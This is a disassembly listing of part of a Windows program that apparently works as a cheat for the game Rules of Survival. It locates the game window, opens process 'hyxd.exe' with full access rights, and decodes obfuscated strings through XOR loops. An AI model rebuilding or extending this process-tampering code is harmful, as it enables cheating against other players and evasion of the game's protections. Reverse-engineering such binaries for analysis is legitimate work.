jmp 0x140007fdc
cmp r13d, 1
jne 0x140007d90
lea rcx, [0x140014cd8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14000f670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14000f670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14000f670]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.hyxd.exe
lea rcx, [rbp + 0x17f8]
call fcn.14000eff0
nop
lea rdx, [rbp + 0x17f8]
lea rcx, [rbp + 0x150]
call fcn.14000f110
mov rcx, rax
call fcn.140003260
mov dword [rbp + 0xd40], eax
movsd xmm0, qword [str.hyxd.exe]
movsd qword [rbp + 0x2ab0], xmm0
movzx eax, byte [0x140014ce8]
mov byte [rbp + 0x2ab8], al
lea rdx, str.VN_Rules_of_Survival
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [rbp + 0xd40]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rbp + 0xd40]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov edx, dword [rbp + 0xd40]
lea rcx, [rbp + 0x2ab0]
call fcn.140003450
mov rcx, qword [0x140019a10]
call fcn.140010fe0
lea rdx, str.quyengabon0676
lea rcx, [rbp + 0x170]
call fcn.14000eff0
mov r9d, 0x12c
mov r8d, 0x1f4
mov rdx, rax
mov rcx, qword [0x140019a10]
call fcn.1400110a0
mov rcx, qword [0x140019a10]
call fcn.140011180
lea rcx, [0x140014cd8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [0x140019a10]
call fcn.140011210
mov rcx, qword [0x140019a10]
call fcn.140011180
mov edx, 2
mov r8d, edx
mov rcx, qword [0x140019a10]
call fcn.1400111d0
mov byte [rsp + 0x7d], 0
lea rdx, [rbp + 0x7f8]
lea rcx, [rsp + 0x7d]
call fcn.14000e900
mov rbx, rax
cmp byte [rax + 0x14], 0
jne 0x140007103
mov r8d, r14d
cmp r15d, 2
jl 0x1400070c1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140006fb0
cmp r8d, 0x15
jge 0x140007103
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x1400070d0
cmp byte [rbx + 0x14], 0
je 0x1400072a3
mov r8d, r14d
cmp r15d, 2
jl 0x140007261
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rbx
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140007150
cmp r8d, 0x15
jge 0x1400072a3
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140007270
lea rdx, [0x140002ff0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rdx, rbx
call fcn.14000f4a0
mov edx, 2
mov r8d, edx
mov rcx, qword [0x140019a10]
call fcn.1400111d0
mov byte [rsp + 0x7e], 0
lea rdx, [rbp + 0xc70]
lea rcx, [rsp + 0x7e]
call fcn.14000e930
mov rbx, rax
cmp byte [rax + 0x2b], 0
jne 0x140007493
mov r8d, r14d
cmp r15d, 2
jl 0x140007451
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140007340
cmp r8d, 0x2c
jge 0x140007493
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140007460
cmp byte [rbx + 0x2b], 0
je 0x140007633
mov r8d, r14d
cmp r15d, 2
jl 0x1400075f1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rbx
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400074e0
cmp r8d, 0x2c
jge 0x140007633
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2c
jl 0x140007600
lea rdx, [0x140002ff0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rdx, rbx
call fcn.14000f4a0
mov edx, 2
lea r8d, [rdx + 1]
mov rcx, qword [0x140019a10]
call fcn.1400111d0
mov byte [rsp + 0x7f], 0
lea rdx, [rbp + 0xc40]
lea rcx, [rsp + 0x7f]
call fcn.14000e960
mov rbx, rax
cmp byte [rax + 0x28], 0
jne 0x140007823
mov r8d, r14d
cmp r15d, 2
jl 0x1400077e1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400076d0
cmp r8d, 0x29
jge 0x140007823
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x1400077f0
cmp byte [rbx + 0x28], 0
je 0x1400079c3
mov r8d, r14d
cmp r15d, 2
jl 0x140007981
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rbx
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140007870
cmp r8d, 0x29
jge 0x1400079c3
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140007990
lea rdx, [0x140002ff0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rdx, rbx
call fcn.14000f4a0
mov edx, 2
lea r8d, [rdx + 2]
mov rcx, qword [0x140019a10]
call fcn.1400111d0
mov byte [rbp - 0x80], 0
lea rdx, [rbp + 0xb78]
lea rcx, [rbp - 0x80]
call fcn.14000e990
mov rbx, rax
cmp byte [rax + 0x26], 0
jne 0x140007ba3
mov r8d, r14d
cmp r15d, 2
jl 0x140007b63
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140007a52
cmp r8d, 0x27
jge 0x140007ba3
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140007b70
cmp byte [rbx + 0x26], 0
je 0x140007d43
mov r8d, r14d
cmp r15d, 2
jl 0x140007d01
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rbx
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140007bf0
cmp r8d, 0x27
jge 0x140007d43
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140007d10
lea rdx, [0x140002ff0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rdx, rbx
call fcn.14000f4a0
call qword [sym.imp.api_ms_win_crt_conio_l1_1_0.dll__getch]
sub eax, 0x31
je 0x14000b804
sub eax, 1
je 0x1400081a5
cmp eax, 1
je 0x14000a316
lea rcx, [rbp + 0x17f8]
call fcn.1400028c0
nop
lea r9, [fcn.1400028c0]
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x22b0]
call fcn.140011568
nop
lea r9, [fcn.1400028c0]
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x26b0]
call fcn.140011568
nop
lea rcx, [rbp + 0x10b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1118]
call fcn.1400028c0
lea rcx, [rbp + 0x1118]
call fcn.140002a10
nop
lea rcx, [rbp + 0x1278]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1398]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1238]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1218]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x11f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x11d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x11b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1198]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1178]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1258]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1158]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1138]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x13b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1378]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1318]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1358]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1338]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x12f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x12d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x12b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1298]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xf40]
call fcn.1400026f0
lea rcx, [rbp + 0xf40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1908]
call fcn.14000ec30
lea rcx, [rbp + 0x1908]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1a18]
call fcn.14000ec30
lea rcx, [rbp + 0x1a18]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x10f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x15b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x16d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1678]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x16f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x15f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1618]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1638]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1658]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1598]
call fcn.1400028c0
